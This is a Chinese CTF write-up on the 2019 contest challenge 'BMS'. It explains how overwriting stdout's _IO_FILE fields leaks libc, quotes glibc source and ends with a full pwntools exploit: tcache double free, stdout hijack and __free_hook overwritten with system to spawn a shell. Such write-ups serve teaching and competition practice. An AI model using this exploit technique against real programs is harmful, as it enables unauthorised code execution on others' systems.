从一题看利用IO_file to leak

2019-05-07 约 2204 字 预计阅读 5 分钟

声明:本文 【从一题看利用IO_file to leak】 由作者 ret2nullptr 于 2019-05-07 09:30:00 首发 先知社区 曾经 浏览数 49 次

感谢 ret2nullptr 的辛苦付出!

从一题看利用IO_file to leak

利用io_file的结构去leak的思路是来自HITCON2018中angboy出的一个baby_tcache,其中要leak出libc地址,采用了覆盖stdout结构体中_IO_write_base,然后利用puts函数的工作机制达到了leak的目的。

源码分析

首先我们先要了解一下puts函数是如何调用的

其是由_IO_puts函数实现,其内部调用_IO_sputn,接着执行_IO_new_file_xsputn,最终会执行_IO_overflow

来看一下关于_IO_puts的相关源码:

int
_IO_puts (const char *str)
{
  int result = EOF;
  _IO_size_t len = strlen (str);
  _IO_acquire_lock (_IO_stdout);

  if ((_IO_vtable_offset (_IO_stdout) != 0
       || _IO_fwide (_IO_stdout, -1) == -1)
      && _IO_sputn (_IO_stdout, str, len) == len
      && _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
    result = MIN (INT_MAX, len + 1);

  _IO_release_lock (_IO_stdout);
  return result;
}

_IO_new_file_overflow的相关源码:

int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
    ......
    ......
    }
  if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
             f->_IO_write_ptr - f->_IO_write_base); //控制的目标
  if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */当两个地址相等就不会打印这个段。
    if (_IO_do_flush (f) == EOF)
      return EOF;
  *f->_IO_write_ptr++ = ch;
  if ((f->_flags & _IO_UNBUFFERED)
      || ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
    if (_IO_do_write (f, f->_IO_write_base,
              f->_IO_write_ptr - f->_IO_write_base) == EOF)
      return EOF;
  return (unsigned char) ch;
}

又上面的源码可知,当IO_write_ptr_IO_buf_end不想等的时候就会打印者之间的字符,其中就有可能会有我们需要的leak,我们再接着看一下函数_IO_do_write,这个函数实际调用的时候会用到new_do_write函数,其参数与之前一样。

static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
  _IO_size_t count;
  if (fp->_flags & _IO_IS_APPENDING)
    fp->_offset = _IO_pos_BAD;
  else if (fp->_IO_read_end != fp->_IO_write_base)
    {
      _IO_off64_t new_pos
    = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
    return 0;
      fp->_offset = new_pos;
    }
  count = _IO_SYSWRITE (fp, data, to_do);   //这里最终调用sysewrite来做到写的功能.
  if (fp->_cur_column && count)
    fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
  _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
  fp->_IO_write_end = (fp->_mode <= 0
               && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
               ? fp->_IO_buf_base : fp->_IO_buf_end);
  return count;
}

主要看函数的count赋值的那个地方,data=_IO_write_base,size=_IO_write_ptr - _IO_wirte_base就是这之间的距离,然后最后会return的count实现leak。ps:其中为了防止其进入else if 分支需要设置fp->_flags & _IO_IS_APPENDING返回1.
关于其中更多的信息可以查看链接

io_file信息

例题-国赛BMS

题目是来自2019国赛的题,这个题目能够比较简单的去利用所学的这个leak方法,先看看程序的主要逻辑。

静态分析

main

main函数吧,这里是去了符号,我已经重命名好了函数名。总共有3个功能add,delete和exit。这里没有show函数。。就让人很苦恼了。

add

看逻辑是先给你malloc了一个0x20的堆块用来存放book name然后让你自己控制大小去申请,这里申请的堆块大小有限制应该是在0<x<0x60之间。

delete

bug点在这个函数里,是在free之后没有对全局变量进行一个置0操作导致了uaf漏洞的产生。

疑问点:这里会疑问是否是含有tache的一个libc版本?所以建议在比赛的时候试试,如果远程报错了那就是正常的fastbin,那如果没报错就是tache了。这里经过测试发现远程是libc2.27以上的版本。

大致思路分析

  1. 利用uaf改堆块的fd到stdout使得我们可以对_IO_file结构进行一波操作。
  2. 改写完_IO_write_base之后进行leak获取到字符串
  3. 改写_free_hooksystem然后free含有/bin/sh字符的堆块达到getshell的目的。

exp分析

大致的把整个exp的流程分析一下。

劫持stdout

new("1234567",0x60,"1234567")
delet(0)
delet(0)
new("1234567",0x60,p64(0x602020))
new("1234567",0x60,"\x20")#这里的"\x20"是根据libc进行变换的。改成stdout地址从而劫持这个结构体
new("1234567",0x60,"\x20")

主要的劫持stdout结构体然后进行更改。

更改结构体

new("1234567",0x60,p64(0xfbad1800) + p64(0)*3 + "\x00")
leak = r.recv(0x20)
leak = leak[0x18:]
leak_Addr = u64(leak[:6].ljust(8,"\x00"))-e.symbols["_IO_file_jumps"]
print hex(leak_Addr)

这里更改结构体结构体的代码

struct _IO_FILE {
int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

/*  char* _save_gptr;  char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

可见这里我们的目标就是改了第四个参数,有了这个结构应该不难理解exp中为什么是p64(0)+"\x00"了。

getshell

这里就是一个常规思路了,可以看见我的exp里面其实是原来用的onegadget,最后是发现了用不了改用了_free_hook去更改。

one = leak_Addr+0x47c9a
new("1234567",0x30,"1234567")
new("/bin/sh",0x40,"/bin/sh")
delet(5)
delet(5)
new("1234567",0x30,p64(leak_Addr+0x3DC8A8))
new("1234567",0x30,p64(leak_Addr+0x3DC8A8))
new("1234567",0x30,p64(leak_Addr+0x47DC0))
delet(6)
r.interactive()

总结

其实题目的难度就在你怎么判断libc和如何去leak上,绕过这两点就没有什么实质性的难度了,也算是get了一个新姿势,文末日常膜ch4r1l3师傅

最后完整exp

from pwn import *

debug=0
context.log_level='debug'

a = ELF("./bms")
e = a.libc
print hex(e.symbols["__free_hook"])
#print hex(e.symbols["_IO_stdfile_2_lock"])
#a = ELF("./bms")
#e = a.libc
if debug:
    r=process('./bms')#,env={'LD_PRELOAD':'./libc6_2.26-0ubuntu2.1_amd64.so'})
    gdb.attach(r)
else:
    r=remote("90b826377a05d5e9508314e76f2f1e4e.kr-lab.com",40001)
def ru(x):
    return r.recvuntil(x)

def se(x):
    r.send(x)

def sl(x):
    r.sendline(x)

def new(name,size,content):
    r.recvuntil(">")
    r.sendline("1")
    r.recvuntil("book name:")
    r.sendline(str(name))
    r.recvuntil("description size:")
    r.sendline(str(size))
    r.recvuntil("description:")
    r.send(str(content))

def view(index):
    r.recvuntil("> ")
    r.sendline("2")
    r.recvuntil("Info index: ")
    r.sendline(str(index))

def delet(idx):
    r.recvuntil(">")
    r.sendline("2")
    r.recvuntil("index:")
    r.sendline(str(idx))

def edit(idx,content):
    r.recvuntil("> ")
    r.sendline("3")
    r.recvuntil("Info index: ")
    r.sendline(str(idx))
    r.sendline(content)
def new0(name,size,content):
    r.recvuntil(">")
    r.sendline("1")
    r.recvuntil("book name:")
    r.sendline(str(name))
    r.recvuntil("description size:")
    r.sendline(str(size))
    r.recvuntil("description:")
    r.sendline(str(content))

r.recvuntil("username:")
r.sendline("admin")
r.recvuntil("password:")
r.sendline("frame")
new("1234567",0x60,"1234567")
delet(0)
delet(0)
new("1234567",0x60,p64(0x602020))
new("1234567",0x60,"\x20")
new("1234567",0x60,"\x20")
raw_input()
new("1234567",0x60,p64(0xfbad1800) + p64(0)*3 + "\x00")
leak = r.recv(0x20)
leak = leak[0x18:]
leak_Addr = u64(leak[:6].ljust(8,"\x00"))-e.symbols["_IO_file_jumps"]
print hex(leak_Addr)
one = leak_Addr+0x47c9a
new("1234567",0x30,"1234567")
new("/bin/sh",0x40,"/bin/sh")
delet(5)
delet(5)
new("1234567",0x30,p64(leak_Addr+0x3DC8A8))
new("1234567",0x30,p64(leak_Addr+0x3DC8A8))
new("1234567",0x30,p64(leak_Addr+0x47DC0))
delet(6)
r.interactive()
'''
free_hook = leak_Addr+e.symbols["__free_hook"]
new("1234567",0x30,"1234567")#4
delet(5)
delet(5)
new("1234567",0x30,p64(free_hook))
new("1234567",0x30,p64(one))
new("1234567",0x30,p64(one))
'''
#r.interactive()

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now